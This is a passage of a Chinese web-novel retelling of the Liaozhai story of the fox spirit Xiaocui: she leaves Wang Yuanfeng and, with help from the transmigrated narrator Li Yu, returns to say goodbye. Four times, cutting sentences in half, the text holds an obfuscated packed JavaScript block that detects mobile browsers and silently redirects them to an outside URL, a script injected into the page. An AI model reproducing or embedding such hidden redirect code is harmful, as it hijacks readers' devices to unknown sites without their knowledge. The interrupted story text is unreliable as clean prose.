王家老两口自是欣喜不已,但也觉察到小翠的神异之处,怎么小翠做的这些看似祸事之事,往往都给王家带来了转机和喜讯?难不成真是天降福星? 然福兮,祸之所伏。官场之上风云变幻,尚书大人被罢了官,王给谏又如以往那样针对王太常了。这一次下手更无顾忌,联合其他人弹劾王太常,惹怒天颜。这还未坐稳的太常之位连同过往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101340|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政绩,一并付诸东流。 王文翰不死心,突然想起当初广西巡抚送给自己的一只价值几千两的玉瓶!便准备将其送给上官再运作一番……这个想法刚兴起,小翠就找来了,低眉顺眼的,丝毫没有平日里的胡闹模样。 小翠乖乖低着头,对王文翰道:“爹,有件事要跟您说。” 王老爷难得见小翠这么柔顺的样子,奇道:“何事啊?” 小翠看着眼色,小心道:“我今日不小心将那玉瓶子打碎了,知道爹也喜欢那玉瓶,特来认错。” 王老爷腾地站了起来,“什么玉瓶?是放在我书房那个吗?” “对呀,平日里我最爱把玩那瓶子,一向都很小心的。许是那玉瓶刚被丫头擦拭过,我一下没拿稳,瓶子就摔了。” “你还敢溜进我书房!你个祸水,你知不知道那是我要送给上官的礼物!”王老爷胸口起伏不定,气得不轻,“我能不能重回官场就指望这东西了,你……你真是害死我了!” 一旁的王夫人也知道此时关系重大,不再帮着劝和,也厉声斥道:“都说了让你们要玩就在东院玩,不要出来惹祸!贞静柔顺、敬慎卑弱,一个女子应有的你哪个做得到?我们纵着你,你却越发不懂事,居然还惹祸不断……” 王老爷更是连珠炮般地责骂。 小翠本以为自己主动认错被训斥几句就算了,没想到二老这次责骂不停,忍了半晌还是没忍住,眼泪夺眶而出,直接扭身负气走了。见她还这敢如此,二老更是又骂又叹,满院的人都听到了。 回到东院,王元丰见小翠又气又恼、泪水涟涟,忙上前问发生何事。 小翠将受的气一股脑地发泄在王元丰身上,啐了他一口,“我在你家这几年为你家带来的益处,何止是一个玉瓶能比得上的?为了这么个俗物又是骂我不懂事,又是说我是祸水的!所有人都听到了,一点脸面都不给我留!” 如今的王元丰已不是傻子了,一听就明白了来龙去脉,要去搂小翠安抚,被小翠一掌推开了去。 小翠眼含悲怒,“实话跟你说吧,我其实是狐妖,到你家只是为了报王老爷曾经对我母亲的庇护之恩。我与你本就只有五年的缘分,如今是五年也坚持不下去了,既然你们家里人都不待见我,我这就走了。” 王元丰听着小翠这一番话,还未来得及震惊,只见小翠忽然俯身化作了一只火红皮毛的狐狸,小狐狸转身就往院墙跑,跳上高墙身形一顿,回望王元丰。 王元丰这才回过神来,哪里顾得上计较小翠是不是妖,一边追一边喊:“小翠,不要走!” 他追到院墙下,仰望着小翠,那狐狸双眼噙着泪水,痴痴地看着王元丰。 王元丰祈求道:“求你了小翠,别离开我,你若不想呆在这里,我们自己出去住,只要你不走,让我做什么都行!” 小狐狸没有言语,那双圆圆的大眼睛倏尔闭了起来,淌下两行热泪,泪珠从高处滚落到王元丰的脸颊上,烫得人心疼。 王元丰哀声喊着妻子的名字,“小翠……” 小翠没有再等王元丰多说,决绝地跳下院墙,消失在元丰眼前。 “小翠!!!”王家院墙内只剩元丰撕心裂肺的呼喊。 而后,王家足足找了小翠两年,直到最近才返回了老家。 “哎……”王夫人叹着气将青花瓷瓶放在多宝格上,“不过一个瓶子罢了,何必呢?” 17. 元丰寻妻 自上次一聚后没多久,李钰就收到了王彦的请帖,想到他与王元丰的关系,李钰欣然赴宴。还是那拨人,而王彦上次还在背后说人家长短,这次却亲自带了被议论的正主来。 那是个文质彬彬的青年,面容清俊,在一众读书人中丝毫不显逊色,只是看着有些瘦弱。 “给大家介绍一下,这是我表弟王元丰,最近刚回常州府,出来跟大家认识认识。”王彦大大咧咧地介绍,亲昵得仿佛之前没说过人家坏话,“元丰,我给你介绍一下,这是……” 王元丰有礼有节地跟每个人打了招呼,在场众人神色各异。 李钰悄悄和丁再昌咬耳朵,“这什么情况?” 丁再昌道:“说是这王元丰跟你一样,前两年忽然正常了,但老家的人都不知道,这次回来了才晓得此事。王彦他爹小时候和曾经的王太常交好,又都是本家远亲,王彦这不就听从父命,带他出来走动,认识点人。” “原来如此。”李钰也没有追问王元丰如何好的,还能因为什么?定然是小翠的功劳。 李钰注意到王彦今日表现还不错,言谈间颇有兄长风范,与之前那番态度比是大相径庭,可见短暂的接触后,王彦已对这个表弟刮目相看。 席间王元丰话不多,甚至可以称得上沉默,只有别人问到他的时候,他才答上两句,但说话颇知进退,令人心生好感,更看不出曾经是个傻子。 因着座次距离,李钰没怎么和王元丰搭上话,只在宴席散去的时候,才主动邀请他之后可以常来玩。 不知王元丰是不是也听说过“二傻”之一的李钰,看李钰的眼神比之旁人有着不易察觉的微妙亲切。他并没有敷衍地答应,而是郑重地约好明日便会登门拜访。这倒是有些出乎了李钰的意料,虽有疑惑仍热情应下。 晚上回家,李钰径直去了白行野房间,白行野不耐烦跟那些人相处,今次便没去。 “你今天在家做啥呢?”李钰一屁股坐到桌边,自顾自倒了杯茶水喝。 “打坐修行而已。”白行野揶揄地看了他一眼,“难得没人吵我。” 李钰撇撇嘴,“怎么能叫我吵你了,不是你自己说的是来人间历练的吗?多看多听多经历人间事不正是最好的修行?” “谁能说的过你?今日又有什么新鲜事要说?” 李钰放下茶杯,“还真有一件事,你还记得上次说的那个王元丰吗?” “自然记得。” “今天见到他了!原来他在两年前就好了,跟我一样没了痴病!” “痴病?”白行野笑了笑,“原来这天生的痴傻还能治?” 闻言李钰皱了皱眉,他觉得白行野有时候似乎话里有话,“怎么不能?这在你面前不就是有个实例吗?” 白行野看了他一眼,唇角微勾,并没答话。 李钰接着说:“王元丰他大概也听说过我吧?今天我邀请他之后来找我玩,他也答应了,到时候你和我一起看看他呗。” “有什么好看的?”白行野疑惑道。 李钰总不能说他是想让白行野看看王元丰身上有没有妖气吧?他一个肉体凡胎怎么会知道王元丰和狐妖接触过的?于是,只能耍赖说道:“我们白道长现在是越发排场大了,都请不动了。” “这又扯哪儿去了?”白行野无奈看着他道,李钰只不甘示弱地瞪回去。 “行吧,去看看也无妨。”白行野认输。 李钰撞了撞他的肩膀,笑道:“对嘛,这才是好朋友。” 白行野点点头,默认了他的话。 两人又聊了些有的没的,李钰才回房了。他躺在床努力回忆着小时候看的电视剧版《聊斋》里的剧情,虽然大都忘得差不多了,但结局小翠和王元丰是在一起了吧?但原著中是这样的吗?李钰的记忆有些模糊了。 次日午后,王元丰果真亲自上门来拜访了,还带了一些见面礼。一看就价格不菲的沉水香和铜香炉,还有一盒精致的点心,不愧是京城里来的人啊。 正不知该不该收,王元丰却说:“区区薄礼,不成敬意。” 两人客套一番,李钰便邀请他到花厅落座。花厅中白行野也在,李钰向王元丰介绍道:“这位是白行野白道长,也是我的好友。” “行野,这位就是我提过的元丰兄。” 王元丰没想到花厅中还有别人,可听李钰介绍了白行野的身份。他便了然这就是王彦提过的李钰身边那个道行颇高的白道长。王元丰露出笑容,岂不正好?他上前拱手向白道长行礼,白行野也抬手意思了一下。 三人坐下,李钰叫丫鬟奉上上等的阳羡茶,王元丰浅尝了一口就赞:“不愧是江南名茶的品质,果然不一般。” 从昨天起李钰就发现了,这王元丰的一举一动十足就是个古代文人,不像他是从现代穿越而来的,想要融入这里,在言行举止上可是费了不少时间的。难道因为这天生的环境造就出的人确实不一样? 李钰不爱身边有下人随时待命,让人都退下去以后,王元丰放下茶盏,开始说明自己的来意。 “今次冒昧前来叨扰,承蒙李公子不弃,可如你我这般都拥有奇异经历之人确实罕见,我这次前来也是有事求问。” 果然还真是有正事,李钰忙说:“无妨,我本就想结交元丰兄,若有什么问题是我可以解答的,一定据实相告。” 王元丰却有些犹豫,缓缓开口道:“我的问题有些……超乎寻常,恐怕让人难以置信,还望二位不要见怪。” “怎么会?你既然已经回来多日了,想必也听王彦说过我的事情,像我这种经历了起死回生的人,还有什么事情不敢信的?你就放心说吧,不要有所顾忌。”李钰想吃瓜的心情达到顶峰,他有预感这定是要说小翠的故事啊! 听李钰这样说,王元丰放下心来,“此事说来话长,还要从我娶亲说起……” 于是,王元丰便将五年前小翠的突然到来,来到他家后一家人所经历的种种,他又是如何在小翠的助力下恢复正常的,以及最后小翠受不了后宅生活化狐离开的经过都一一道来。 李钰和白行野都当听说书一般认真地听着,听得时而发笑时而叹息。 最后,连白行野都忍不住道:“这位叫小翠的姑娘,真是难得的至真至纯之人。” “是啊,再没有如她这样特别的女子了,也不会有人像她那样对我好了。”王元丰认同地点头,“只是当初我确实没有想到家里的一切,对于她来说是那么难以忍受的一种束缚。不止我,家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101341|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父家母也追悔莫及,找了两年却一无所获。” 王元丰的难过,李钰看在眼里,“其实令尊令堂对小翠也挺好的,只是小翠本是狐妖,对于她来讲,需要遵守人间的规矩还是太难了。” 在这个时代,王元丰的父母对小翠的态度,确实称得上很好了。毕竟还是官宦人家,因为儿子是傻子觉得委屈了儿媳,在大部分事情上都由着她,甚至在犯错的时候,宁愿打自己儿子让小翠心疼,用这样的方式来惩罚小翠。横向对比这个时代的大多女性,已经算是很好的待遇了。 李钰正这样想着,忽然惊愕地松手,手中折扇“啪”的一声掉在地上,他后背骤然冒出一身冷汗。这才惊觉作为古人的王元丰在反省自己过往对小翠的疏忽时,而自己一个现代人,居然困在时代的目光中在看待这件事,却忘了在他的原本的时代,人人都有自由选择自己生活的权利。 而且小翠还是为了报恩嫁进的王家,她明明有自由自在的生活,却为了替母报恩要困在后宅之中……他居然还在想,小翠其实在王家的生活算是不错了。 李钰的双手缓缓握紧,李钰啊李钰,你不要忘了,你是李钰,并非李珠儿。 “你怎么了,怎么忽然脸色这么差?”白行野见他神情不对,还以为他生了什么急病,忙上前探李钰的额头,只觉触手一片冰凉。 李钰回过神来,对上白行野担心的眼神,摇了摇头,“没事,我只是想到点事,没事了。” 王元丰见此情景,迟疑道:“若李贤弟身有不适,不如在下下次再来?” “不用不用,我没问题。”为了显示自己没事,李钰甚至连声音都提高了几分。他又喝了口茶水,双手搓了搓脸,人缓了下来。 两人看他面色恢复正常,好像真的没有什么问题,这才安下心来。 王元丰又道:“因为听闻贤弟与我有相似经历,我便想上门一问,当初你是通过什么方式苏醒过来并恢复清明的?” 李钰沉默了,他不是不想回答王元丰,而是他自己也不清楚。硬要说的话,因为缘分?因为命运?总之不能让人知道自己是借尸还魂的。 王元丰见李钰久久不答,怕是自己唐突了,便解释道:“只因我的娘子小翠也失踪两年了,我猜想贤弟是否是遇到我这样类似的情况,受到了鬼狐妖仙,或者是……”他抬眼看向白行野,“或者是高人相助。若是如此,鄙人斗胆想求上一求,能否帮我找找我娘子?” “原来是这样。”李钰恍然大悟,难怪王元丰这么急着登门拜访,原来还是为了小翠。可是他真不知道自己是什么情况啊! 李钰期期艾艾地说:“当日并没有什么妖精神灵相助,我那时候也是浑浑噩噩如同在鬼门关走了一遭,再一睁眼便重回人世,脑子也忽然正常了。” “比起元丰兄你这般奇妙的经历,我当日的情况确实简单得多,或许那个时候我只是深度昏厥过去了,并未真正的死亡吧。”李钰想了半晌只能给出这样的解释。 而这个解释显然让王元丰失望,他整个人肉眼可见地萎顿下去,又忽地抬起头来,目光带着一丝希冀看向白行野。 “那不知白道长有没有什么方法,让我能再见见小翠?只要能再见她一面,我付出什么代价都可以!” 18. 小翠(一) 面对两人期待的目光,白行野却摇摇头道:“世间的妖物虽不如人族这般多如牛毛,可大多寄生于山野之间,天地广大,无从找起。” 王元丰的目光黯淡了下去,此行又是一场空,他起身告辞甚至顾不上礼数,便浑浑噩噩地离开了。 见他失魂落魄的背影,李钰有些不放心,还是遣了一个小厮跟在王元丰后面,让他把人送回府再回来。 安排完后,李钰问白行野,“真的没有办法找到小翠吗?” 白行野却老神在在地说:“本就远在天边近在眼前,有什么可找的?” 李钰闻言,眸光一亮,“什么意思?小翠在哪?” 白行野卖关子不回话,此时院外却传来了詹贵儿的声音。 “你从哪儿来的?到我们家来干什么?妖精别跑!” 李钰一听连忙跑了出去,就看到詹贵儿打着伞,正在花丛中穿来穿去的,伞边刮落好几朵开得正艳的花。 “我娘的花!”李钰心疼地叫了一声。 花丛抖动,叶片缝隙中隐约可见一个毛绒绒的红色身影,正灵活地躲闪着詹贵儿。 白行野伸出手指朝那个方向一点,“定。” 那个火红的身影就不动了,白行野快步走了过去,将那东西提了起来,是一只体型中等的红狐狸。狐狸被白行野抓着后脖颈,瞪着圆圆的无辜大眼,看上去十分可怜。 白行野低声道:“想必什么话该说什么话不该说,你应该知道的吧?” 狐狸转了转眼珠子,然后用力眨眨眼,表示自己明白了。 李钰这才赶过来,眼睛直直盯着可爱的犬科动物,忍不住就摸了摸狐狸脑袋,“哎呀,好可爱的小狐狸,怎么进来的啊?” “哥哥,这不是一般狐狸,这可是个狐妖!”詹贵儿叫道。 李钰一听是妖,忙将手收了回来。 “被我给发现了就想跑,虽然我抓不住它,但缠住它不让它走,就能拖到道长哥哥来收拾它。”詹贵儿扬着头说话,一副等待夸奖的样子。 李钰也不让他失望,立刻就夸道:“没成想我们小贵儿真成保家仙了,厉害呀!” 詹贵儿摇头晃脑,显然十分受用。 见小狐狸表情委屈,李钰对白行野道:“你别这样提着它了,多难受呀。”边说边又想伸手摸摸狐狸的皮毛,转眼就又忘了对方是狐妖,毕竟毛绒绒的动物实在太可爱了。 “你别什么都敢碰。”白行野说着将狐狸提远了些,又冲狐狸笑道,“你说是吧?小翠。” “小翠?!”李钰惊呼,这就是……小翠? 白行野将小翠带回房间,李钰和詹贵儿亦步亦趋地跟了进来,顺带关上了门。就见白行野把红狐狸放在地上,解了定身咒。 狐狸摇晃了下身体,竟用双脚站了起来,身形一转就化作了一个貌美灵动的妙龄女子! 这可给李钰激动坏了,“真的有妖精!我见到狐妖了!” 而且这妖精还是小翠! 白行野见他那样儿,翻了个白眼。 李钰毫不在意,他如同粉丝见了偶像一般,结结巴巴地说:“你你你就是小翠姑娘啊,你先请坐……要喝茶吗?呃,还是吃点糕点?” 见此情形,小翠本来还警惕的神色化作了一笑,“我还以为遇到坏人了,没想到又是个傻子。” 李钰不好意思地挠挠头,没反驳。 小翠倒是从善如流地坐下了,说:“我是小翠,本来今天跟着元丰出来看看他要干嘛,没想到你这家里又是有鬼,又是有……道长的,反倒害我脱不了身。” 他们三人也坐了下来,李钰问道:“原来你一直跟着王元丰,你知道他到处在找你吗?” “谁一直跟着他了?也就他们回到这里,我来看看他罢了,这儿也是我的地盘。”小翠立刻反驳,转而又眼眸微垂,“我知道他在找我,可我没准备见他。” “为什么?你不喜欢他吗?”李钰脱口而出才意识到自己问题的唐突。 好在小翠本就是个狐狸,倒也不遮不掩地说:“我是挺喜欢元丰的,可我不想做他的妻子了。” 詹贵儿本来还挺戒备,一听这话也凑了过来,倚靠在李钰身上,专心听八卦。 “我是喜欢他。”小翠又重复了一次,顿了顿才又说,“可后宅内闱终究不适合我这个长在山林的狐吧。虽是为报恩而来,可报恩太难,竟要忍受这人世间的许多规矩。选择提前离开我并不后悔,只是觉得……” “只是觉得对元丰有愧。”小翠说着声音渐低。 李钰算是明白小翠的意思了,又问:“是什么恩情这么大?我听元丰兄讲你们的事,你帮助王老爷避开政敌的弹劾,还升了官,又让元丰兄变聪明了,这桩桩件件都足以回报恩情了吧?” 小翠道:“其实是因为我母亲当年看出王老爷有做官的贵重命格,当时她正要经历天劫,以狐身躲进了王老爷的房内,有他的官命庇护才顺利度过了雷劫。” “这样的恩情啊……”硬要说,王老爷当时并未做什么,只是被小翠的母亲发现了他的命格贵重,躲进他家而已。 “你们一家也是重情义。” 小翠却反问道:“难道不应该吗?” 这下,李钰不知如何作答了。 “虽说王老爷只是没有赶走我娘,但你们却不知历雷劫有多么的可怕,一个不好别说是修为,连命都可能交代去。这对于我们妖族来讲,可是天大的恩情!”小翠解释道,“况且,有了这层因果,我们一家也必是要报答了结的。而最让王老爷挂心的就是他的儿子,因此我母亲才派我去报恩,一解他的心结。” “原来如此。” “可你如今跟着王元丰,却不见他又是何意?”白行野不解道。 小翠柳眉微蹙,叹了一声,“我也不知道,虽然我无法为他放弃自己的生活和修行,可总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101342|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归也是希望他们一家人过得好的。我想……” 她想了好半晌才又说:“我想如此一走了之,终归不能放心。他又这样放不下我,终日浑浑噩噩日渐消瘦,我于心不忍。爹娘也老了,他们一直希望元丰能早日为王家传宗接代,我却不想因孩子更受其困……不若我为他再找个适合成亲的女子好了?” “什么?!”李钰三人异口同声,都觉得这小翠真是想到哪说到哪,狐狸竟也想当红娘了。再说王元丰那个样子,看起来也不像短期内能接受其他女子的。 李钰劝道:“你又不是没有见过他现在的样子,就是对你念念不忘,你还要去给他介绍别的女子,那不是往他心口上戳刀子吗?” 小翠却似乎胸有成竹,“我可以先帮他物色一个好姑娘,我看城里钟员外家的大小姐人就挺好的。我再去与元丰相认,陪伴他最后一段时间,过程中慢慢变化成钟小姐的样子,等时机成熟,再劝他求娶钟小姐,反正我不生孩子,他到时候怎么都要再娶一房的。等他见到和我一模一样的钟小姐,那时候我再离去,想必他就能释怀了。” 这什么替身文学?你个小狐狸脑子里都想的什么?李钰立刻阻止道:“这可不行!” 小翠歪着头看他,露出属于小动物的天真,“为什么?这是我这些天想出来的最好的办法了,又能还元丰一个妻子,还王家一个儿媳,我和元丰也可以好好道别了。” 李钰正色道:“你不愿呆在王家,是因为你受不了这俗世对女子的规训,难道其他的姑娘就能甘心接受命运的摆布吗?” 突然严肃的话语和语气听得小翠一震,她虽然天然得有些毫不顾忌,但也并非是不能将心比心、换位思考的人。可她还是嘴硬道:“反正在你们人间,婚娶之事不也是听从父母之命媒妁之言?我找的这个钟小姐的家世品貌定是相配的。就算没有我的这番摆布,彼此说不定也能看对眼呢?那又何必让元丰这样再耽误下去。” “那你怎知到时候你走了,元丰对那位钟小姐不是透过她来思念你?这又如何算放下?”李钰有些生气了,“你说的这事,不但辜负了元丰对你的一片真心,更是将另一个无辜女子推给一个不爱他的人!” 这是所有人第一次见李钰这般严肃地说话,詹贵儿都站直了,呆在一旁都不敢出声,白行野也怔怔地看着李钰。 小翠闻言低下头,经过李钰的这番斥责似的劝说,此时的她就像刚才的王元丰一样,颓丧地缩进了椅子里。 “那我该怎么办?我不能再留在王家了,可我……也真的放心不下他……”小翠的声音带着呜咽。 李钰想了想,缓和了神色,语气也放轻柔了许多,“或许,你们之间缺少的只是一个正式的道别?你负气而走,走的匆忙,许多话都没有说开,若你告知元丰你真实的想法,好好与他道别,说不定彼此都能放下了。” “……是吗?”小翠愣怔片刻,喃喃道,“正式的道别吗?” 19. 小翠(二) 见小翠一时失神,李钰循循善诱道:“选择离开或许是在你心中想过多次的决定,可在元丰看来,你只是生气了,他始终抱着能将你找回来的希望,又担心你一个人在外过得不好,因此一直在寻找你。而你不也是一样,担心他因为一直放不下你而过得不好吗?” “元丰喜欢你,他会懂你的。” 小翠又坐直了起来,手指搅着衣带,“没错,我们之间确实没有一个正式的道别。” “我应该好好地告诉他的,他该放下我了,如此我也能安心回到山中修炼了。” 小翠说完这番话就站了起来,她向李钰俯身行了一礼,“多谢提点。这就叫‘听君一席话,胜读十年书’吧?”小翠说着从书院里的人那儿听来的话。 李钰站了起来,尴尬道:“倒也没有这么夸张。” “那容我回去想想应该怎么和他道别?对了,你是元丰的朋友吧,你叫什么名字?” “在下李钰。” “鲤鱼?好奇怪的名字。”小翠嘀咕道。 李钰:“……” 小翠又对詹贵儿说:“刚听他们叫你小贵儿,一个小小的童子鬼居然如此难缠,我也记住你了,等我空了再来找你们玩。” 说完,小翠瞥了白行野一眼,鼻子里发出一声轻哼,便化作狐狸跳窗跑了出去。 “真是个疯丫头。”詹贵儿如此评价。 李钰摆出大哥的姿态教训道:“人家比你大,你说话尊重点。” 詹贵儿不满地扭过头,小声地说:“本来就是。” 白行野在一旁半天没说话,李钰看向他,却见他默默发笑。 “你在笑什么?” “你没听到她叫你鲤鱼?我倒觉得这小狐狸挺有意思的。”白行野忍俊不禁,笑出声来。 李钰捶了他一拳,“好哇,你笑话我!鲤鱼怎么了,不知道好运锦鲤吗?” “那是什么?” “……总之,鲤鱼是可以带来好运的祥瑞!” “说起来好久没有去满福食肆吃鱼了。”白行野一转话题。 李钰:“……” 虽然觉得白行野在故意逗他,他也有点想那个味道了,便道:“走吧,今晚就去那儿吃。” 詹贵儿不乐意了,“什么呀,明明知道我不能吃,还当着我的面讨论这些。” 李钰哄他,“不能吃也能闻闻嘛,到时候我给你打包一份鲈鱼羹回来。” 詹贵儿这才满意地点点头,自己出去玩了。 再说小翠那边,回到翠竹林的狐狸窝后,她想啊想,到底要怎么跟王元丰说,才算得上是一个正式的道别?其他的狐狸姐妹来叫她玩,她也不理。 一只棕黄色的狐狸甩着尾巴,窝到她身边问:“怎么啦?今天没去盯着你夫君啊,怎的一脸苦相?” 小翠本不想理她,但自己想来想去也没想出个章程,还是将今天的事情一说,又问道:“你说我应该怎么向元丰道别呢?” 黄狐狸抬起后爪挠挠耳朵,不屑地说:“你居然会烦恼这种事情,可真不像你啊,小翠。从前的你都是有话直说的,真是在人族呆久了,学那些弯弯绕绕的。你虽喜欢他,但你的喜欢并不值得你放弃作为狐狸的生活,所以你们必须要分开,就这么简单的事,有什么可想的?” “可是……可是我怕元丰会伤心。” “你若还拖拖拉拉他只会伤心更久!!他就算伤心也是一时的,但他会知道你是真的放弃了,时间长了也就好了。而不会是像之前那样,因为怕你只是一时生气离家出走,而时时刻刻挂念你,总想着你还能回去。这样牵肠挂肚的不是难过得更久?” 小翠的耳朵耷拉下来,“你说得对,小鲤鱼也说得对,这就叫当局当局……当局者迷吧。” “听不懂,又从哪里学来的话?” “不重要,总之谢谢你了,小黄。” 黄狐狸一听立刻炸毛,“都说了,不许叫我小黄!隔壁村村口那条大黄狗才叫小黄,你得叫我秋香!” 小翠敷衍道:“好好好,谢谢你秋香。” 秋香重新窝了下来,懒洋洋地梳理起自己的毛。 既然决定好了,不如让小鲤鱼帮她把元丰约出来,这样她和元丰道别以后,还有朋友可以安慰照应他。 打定主意的次日,小翠就自来熟地上了李家门。 “你怎么又来了?” 刚翻进围墙内,小翠就被詹贵儿撞了个正着。 小翠摇着蓬松的大尾巴,咯咯笑道:“你个小鬼,真是比我还没规矩,你要叫我姐姐知道吗?” 詹贵儿摆出十足的守卫姿态,指了指身后的李宅,“这一片归我管,哪能让别人这般来去自如的?” 小翠见他寸步不让也来了脾气,“那我问你,王元丰是不是你家少爷的朋友?” “是,是又怎么了?” “那我还是你家少爷朋友的娘子呢,那等同于我也是你家少爷的朋友,我来找自己的朋友怎么了?难道你家少爷会不让我进吗?” 詹贵儿听着这话总觉得哪里怪怪的,却又不知道怎么反驳。 “她进都进来了,也没有恶意,就让他去见李钰吧。” 白行野的声音从詹贵儿身后传来,詹贵儿扭头一看,“道长哥哥。” “没事的,去吧。” 詹贵儿这才不情不愿地说:“哦,好吧,你跟我来。” 小翠走过去,抬头看了眼白行野,“看来你也不是那么不好相处嘛,谢了。” 白行野无所谓地笑笑,也跟了上去。 于是李宅又出现一番奇景,一只红狐狸跟在一把漂浮的伞后面,走在最后的还是白道长。 还好李家的人见识多了,都见怪不怪,倒有几个丫头冲着狐狸一个劲地夸道,“好漂亮的皮毛。” “这小狐狸真可爱。” 漂亮可爱的小翠听了后,更是昂首阔步地踱着步。 李钰见了来人也不惊讶,将桌上的糕点给小翠吃。小翠立刻化作人形,这样吃东西看着要文雅些。 李钰被她忽然变换形态吓一跳,赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101343|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去把门关上,这要是被下人看到有女子在他房中,那可就说不清了。 小翠根本没注意,边吃边说:“小鲤鱼,你家的糕点真好吃,比我在王家吃的还好吃。” “是吗?还多呢,到时候给你带一些回去”。 小翠吃了一块糕点,才正色道:“对了,今天找你来是说正事的。我已经想好怎么跟元丰说了,只是我想请你将他约出来,我怕跟他讲了之后,他要是太过伤心,有你在还可以安慰他一二。” “哦,就这事啊,好说。我记得吴志才在梅岭就有一处山斋,平日里都没有人的,到时候就约在那里吧。没有人你们也不用顾虑,有什么话好好说开了。”李钰立刻想到了合适的地方,又思及王元丰那日失落的模样,也不知这样一来对王元丰来讲是好是坏,不由叹道,“小翠姑娘,你可想好了?有些话说了,恐怕就再无挽回的可能。” 小翠没有立刻回答,思忖片刻坚定答道:“我已经决定选择我自己了。” 三人俱是一愣,李钰反应过来已经露出了笑容,小翠这姑娘确实不一般。 “好,剩下的就交给我来安排。” 约好了时间地点,剩下的就由他去张罗了。 梅岭那处山斋现下本就无人,吴志才非常痛快地就借给了李钰。 李钰又亲自备了一份回礼,登门去王元丰家拜访,以品茶为名与王元丰约好相见。好在王元丰虽然有些心情不佳,却也答应了来。 忙活了一天,等李钰闲下来才感叹,真是没想到,小翠和王元丰居然会是这种结局?而且还有他的出力促成。不过,比起让另一位无辜女子为他俩的爱情牺牲,现在将要发生的结局应当会是好的吧。至少小翠得偿所愿,能继续做她自由自在的小狐妖,不用被恩情道德、礼教规矩所束缚了。 只是王元丰……希望他早日想开吧。 一切准备就绪,便在天朗气清的一日,李钰、白行野还有王元丰相携去往城外梅岭。眼下秋意初现,一路上看着梅岭上面光秃秃的梅树,王元丰简直把纳闷俩字写在脸上,终于忍不住问:“李贤弟何故选在此处品茶?” 李钰看着漫山遍野张牙舞爪的梅树枝桠,以往能说会道的他也不知如何解释了,又想到其实是带王元丰来和小翠道别的,就更是词穷了。 白行野轻咳了一声,李钰回过神来,正对上王元丰疑惑的目光。他尴尬地笑笑,“呵呵,这边人少清净,看!山斋到了。” 王元丰顺着他的视线看过去,果然坐落在半山腰的一处山斋已显露在眼前。 三人来到山斋门口,李钰和白行野停下脚步。白行野冲李钰点了点头,示意里面的人已经到了。 李钰这才对王元丰说道:“元丰兄,此次其实我是受人所托,才邀你来此,她有话对你说,现在人已经在里面等着了。” 王元丰有些诧异,“是何人相邀?” “你进去了就知道了。” 王元丰带着满腹的疑惑和心里蓦然升起的奇怪期待感,走到山斋门前,踟蹰了半晌才伸手推开了门。 20. 道别 门内,一道倩影立于轩窗前,阳光洒落在女子身上,在她周身勾勒出朦胧的光晕,如同落入凡尘中的仙子。 女子听到推门的动静一怔,缓缓回过身来,正是小翠。 “小翠……”王元丰恍如在梦中,不敢置信地开口,“真的是你吗?” 小翠向他走来,两年来不曾相见的容颜一如往昔那般明媚,像一道光撕破了灰败的世界。那思之如狂的声音响起,“元丰,是我。” 王元丰无法遏制地颤抖起来,他伸出手小心翼翼地将小翠搂入怀中,感受着怀中人身上的温度才有了实感,“我真的不是在做梦,真的是你!” 小翠安抚一般轻轻拍着元丰的单薄的后背,亦忍不住眼睛酸涩,心疼道:“你瘦了好多。” “这两年你都去哪儿了?我四处都寻不到你,日日担心你……”王元丰诉说着自己两年来的思念,却见小翠闭口不答,便又道,“没关系,只要你回来就好,以后你在家想做什么就做什么,若不想回去,我在外面置一处宅子,我们搬出去住,往后什么都依你。” 小翠轻柔地推开王元丰,低下了头声音艰涩道:“对不起元丰,我不会再回去了。” 王元丰愣了,不可置信地问:“为什么?难道因为你是妖吗?我根本不在意你的身份,我也已经告知了父母,他们一开始虽然难以接受,但这两年也同我一样,一直在设法找你,想让你回来。” “可是元丰,我在意。”小翠抬起头直视王元丰,“正因为我是妖,才应该及时抽身。” 